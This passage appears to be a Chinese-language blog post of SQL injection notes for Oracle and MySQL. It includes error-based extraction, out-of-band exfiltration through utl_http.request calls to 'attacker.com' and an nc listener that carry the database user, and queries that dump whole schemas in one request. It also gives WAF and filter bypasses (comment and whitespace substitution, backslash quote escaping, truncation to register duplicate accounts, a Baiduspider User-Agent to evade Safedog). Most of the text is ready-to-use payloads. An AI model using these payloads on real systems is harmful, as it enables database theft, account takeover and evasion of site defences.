ALTER TABLESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER

报错查询

利用orcale的报错回显来爆出,某些字段。
SQL> select utl_inaddr.get_host_name((select user from dual)) from dual;
select utl_inaddr.get_host_name((select user from dual)) from dual
       *
第 1 行出现错误:
ORA-29257: 未知的主机 SYS
ORA-06512: 在 "SYS.UTL_INADDR", line 4
ORA-06512: 在 "SYS.UTL_INADDR", line 35
ORA-06512: 在 line 1

时差注入

遇到一些既没有反错,又不回显信息的注入点,就需要用到时差注入。不过orcale没有提供类似sleep()这样的函数。
需要使用一个超级耗时的查询来代替它。
不过这里因为知识欠缺,没有构造出超耗时的查询,暂且先放一下。


带外传输

这个比较神奇
UTL_INADDR.GET_HOST_ADDRESS会解析一个域名的IP,不带参数的话会返回本地本机内网ip
SQL> select utl_inaddr.get_host_address() from dual;

UTL_INADDR.GET_HOST_ADDRESS()
--------------------------------------------------------------------------

192.168.0.110

SQL> select utl_inaddr.get_host_address('www.baidu.com') from dual;

UTL_INADDR.GET_HOST_ADDRESS('WWW.BAIDU.COM')
--------------------------------------------------------------------------

61.135.169.105
UTL_HTTP.REQUEST
会提交一个请求,把地址改成自己搭建的服务器的话,就可以获取外网IP
SQL> select sum(length(utl_http.request('http://attacker.com/'))) from dual;

SUM(LENGTH(UTL_HTTP.REQUEST('HTTP://ATTACKER.COM/')))
-----------------------------------------------------
                                                 1997
也可以构造一个包含信息的url,之后在log中寻找,或者直接在nc中获取,这样的话orcale会等待Nc作出响应,这里也可以用做拒绝访问攻击。
NC.exe
C:\>nc.exe -l -p 888
GET /SYS HTTP/1.1
Host: 127.0.0.1:888
Connection: close
SQL
SQL> select sum(length(utl_http.request('127.0.0.1:888/'||(select user from dual
)))) from dual;
select sum(length(utl_http.request('127.0.0.1:888/'||(select user from dual))))
from dual
                  *
第 1 行出现错误:
ORA-29273: HTTP 请求失败
ORA-06512: 在 "SYS.UTL_HTTP", line 1722
ORA-29259: 已达到输入的末尾
ORA-06512: 在 line 1
utl_http.request,utl_inaddr.get_host_name,utl_inaddr.get_host_address由于11g的安全特性无法继续使用

这个整理的比较仓促,流弊的文章还要看
http://www.it28.cn/heikejiaocheng/381944.html


奇技淫巧

注释

(1)
这个在Mysql中/**/这种注释可以代替,空格来使用,可以构造出这种的语句
 select/**/*/**/from/**/te/**/order/**/by/**/1;
(2)
这个mysql还有一个神奇的特性就是/*!xxxxxxx*/会被当做语句执行,那么可以构造出这种语句
/*!select*//**/*/**//*!from*//**//*!te*/;
mysql保持这种奇怪的语法,是为了兼容性,因为mysql的一些扩展功能,其他数据库不支持,放在/*!*/中自己执行别人不执行。
(3)
/*%00*/有的时候可以绕过一些,基于字符串的过滤,而且并不影响语句执行。

变量

mysql中有一个特性就是变量@xxxxx 如果没有定义并不会报错而是会返回一个null,很多过滤代码不会检查单引号之间的部分,可以这样构造。
select * from te where `id`=@`'` union select @`'`,2,3,4 from te;
有的时候字段要求Not Null需要这样构造
select * from te where `2`=1 union select char(@`'`),2,3,4 from te;


空格

如果空格被过滤了,有一些办法可以绕过,这些方法通常也能绕过一些WAP,在某些版本的mysql可以使用括号大法来绕过。
select(1),(2)union(select(2),(3)from(information_schema))
如果是高版本,可以使用一些蛋疼的字符来替代空格
RDBMS Allowed whitespaces 
SQLite 3 0A, 0D, 0C, 09, 20 
MySQL 5 09, 0A, 0B, 0C, 0D, A0, 20 
Oracle 11g 00, 09, 0A, 0B, 0C, 0D, 20 
MSSQL 2008 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 
19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 25 
Table 8: Valid whitespaces allowed in different RDBMS. 
这个图片出自这篇文章
https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-WP.pdf

这篇文章还讲到几个比较有趣的用法,在盲注的时候可以使用这种语句来把所有结果都显示
MySQL SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) 
WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] 
>',table_name,' > ',column_name))))x 
MSSQL SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('') 
PostgreSQL SELECT array_to_json(array_agg(tables))::text FROM (SELECT schemaname, relname FROM 
pg_stat_user_tables) AS tables LIMIT 1; 
Oracle SELECT xmlagg(xmlelement(“user”, login||’:’||pass) ORDER BY login).getStringVal() FROM 
users; 
Table 5: Different queries which retrieve multiple table & column entries with a single request. 


使用注释符--的时候如果后面不加空格,会被当做加号来使用
mysql> select 1--1--2;
+---------+
| 1--1--2 |
+---------+
|       4 |
+---------+
1 row in set (0.00 sec)



反斜杠绕过

有的时候单引号被过滤的情况下,如果转义符没有被过滤,我们可以使用转义符来去掉一个单引号,达到注入的目的
比如在id处存在注入点
where id='xxxxxx' and name='xxxxxx'

我们可以构造这样的注入语句使查询语句变成
where id='xxxxx\' and name=' union select xxxxx #'
比如htmlentities()这个函数就不会过滤反斜杠,但是谁会用它来做SQL注入的过滤那····:(


超长变量截断

这个mysql数据库对待超过存储长度的数据只会爆一个warming
mysql> insert into test values('admin                               x');
Query OK, 1 row affected, 1 warning (0.03 sec)
而在where比较的时候mysql是忽略空格的,这个技巧可以用来注册相同名字的用户


userAgent绕过安全狗

这个原理就是,把userAgent改造成百度蜘蛛的Agent,便可以绕过一部分安全钩的检测
User-Agent:Baiduspider


你可能感兴趣的:(关于SQL注入的总结)